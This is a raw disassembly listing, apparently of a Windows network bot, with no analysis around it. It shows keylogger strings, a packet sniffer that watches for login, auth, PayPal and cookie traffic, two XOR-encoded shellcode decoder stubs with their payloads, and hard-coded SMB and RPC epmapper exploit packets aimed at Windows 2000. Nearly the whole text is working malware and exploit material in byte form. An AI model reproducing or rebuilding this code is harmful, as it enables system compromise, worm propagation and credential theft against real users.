dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
dword_4271E8	dd 6168213Ah, 6E696873h, 4 dup(0) ; DATA XREF: Themida_:00516B22o
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset loc_505442+4	; DATA XREF: ___:00426C70o
off_4274DC	dd offset aThBySS_	; DATA XREF: ___:00426C6Co
					; "th by: (%s!%s)."
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset off_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset off_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------


loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA


loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------


loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A


loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
